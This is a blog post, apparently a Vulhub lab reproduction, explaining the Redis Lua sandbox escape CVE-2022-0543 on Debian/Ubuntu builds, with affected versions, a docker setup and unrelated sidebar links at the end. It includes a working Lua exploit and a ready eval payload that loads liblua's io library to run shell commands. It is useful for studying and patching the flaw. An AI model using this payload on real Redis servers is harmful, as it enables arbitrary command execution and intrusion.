当前位置:网站首页>Redis Lua sandbox bypass command execution (cve-2022-0543)
Redis Lua sandbox bypass command execution (cve-2022-0543)
2022-06-26 02:27:00 【Sword-heart】
Introduction to vulnerability principle
Redis It's open source (BSD The license ) Memory data structure storage , Use as database 、 Caching and message broker .
Redis Is the famous open source Key-Value database , It has the ability to execute... In a sandbox Lua Scripting capabilities .
stay Ubuntu Distribution packaging , Inadvertently Lua Redistribute a box object in the sandbox package, The attack exploits this object's load dynamic library , have access to package.loadlib from liblua Load module , Then use this module to execute arbitrary commands ;
Reference link :
- An unexpected Redis sandbox escape affecting only Debian, Ubuntu, and other Debian derivatives
- #1005787 - redis: CVE-2022-0543 - Debian Bug report logs
Vulnerability version
2.2 <= redis < 5.0.13
2.2 <= redis < 6.0.15
2.2 <= redis < 6.2.5Vulnerability environment
Execute the following command to start a Ubuntu Source installed Redis 5.0.7 The server
docker-compose up -d

After the service starts , We can use redis-cli -h your-ip Connect this redis The server .

Loophole recurrence
We use Lua Variables left in the sandbox `package` Of `loadlib` Function to load the dynamic link library `/usr/lib/x86_64-linux-gnu/liblua5.1.so.0` Export function in `luaopen_io`. stay Lua Execute this export function in , You can get `io` library , Then use it to execute the command :
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("id", "r");
local res = f:read("*a");
f:close();
return res Be careful ,liblua library , Different systems liblua The path may be different ,vulhub Corresponding ubantu The path of the system
utilize payload
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0Command executed successfully

边栏推荐
- . Net7 miniapi (special part):preview5 optimizes JWT verification (Part 2)
- Bloc入门之Cubit详解
- Chrome browser developer tool usage
- 多测师拱墅校区肖sir_jenkins中搭建出现页面报错
- Wechat applet
- Breadth first traversal based on adjacency table
- Binary search
- Analytic hierarchy process
- Eureka注册信息配置备忘
- [JS] free API to judge holidays, working days, Saturdays and Sundays
猜你喜欢

CVPR2022 | 长期行动预期的Future Transformer

cv==biaoding---open----cv001

Getting to know OpenGL

Ardiuno smart mosquito racket

【图像过滤】基于matlab GUI图像过滤系统【含Matlab源码 1913期】

SQL column value to row value (unpivot)

What is the sudden power failure of iPhone and how to solve it?

Implementation of depth first traversal based on adjacency matrix

Markov decision process (MDP): gambler problem

官方零基础入门 Jetpack Compose 的中文课程来啦!
随机推荐
Scala Basics (II): variables and data types
樹莓派 + AWS IoT Greengrass
cv==biaoding---open----cv001
购买了fastadmin小程序助手但是问题工单中无法发布工单
High availability in Internet three highs (high concurrency, high performance and high availability)
Analytic hierarchy process
SDRAM Controller - add read / write FIFO
ARM流水线如何提高代码执行效率
股票开户怎么开户?网上开户是否安全么?
Binary search
Implementation of depth first traversal based on adjacency matrix
Redis linked list
Snake game
Dynamic analysis and calculation of expression, flee is really sweet to use
One year's work
Consumer of microservices
Wechat launched a web version transmission assistant. Is it really easy to use?
Cross server SQL connection configuration
Agent challenge - "Olympic running"
多测师拱墅肖sir_工作目录下的use websocket报错解决方案